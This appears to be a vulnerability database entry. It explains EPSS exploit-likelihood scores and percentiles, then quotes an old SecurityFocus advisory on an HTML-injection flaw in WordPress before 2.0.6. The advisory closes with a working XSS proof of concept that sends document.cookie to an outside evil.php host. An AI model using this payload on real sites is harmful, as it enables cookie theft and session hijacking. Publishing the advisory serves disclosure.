EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/21782/info Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. Versions prior to 2.0.6 are vulnerable to this issue. < img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' >
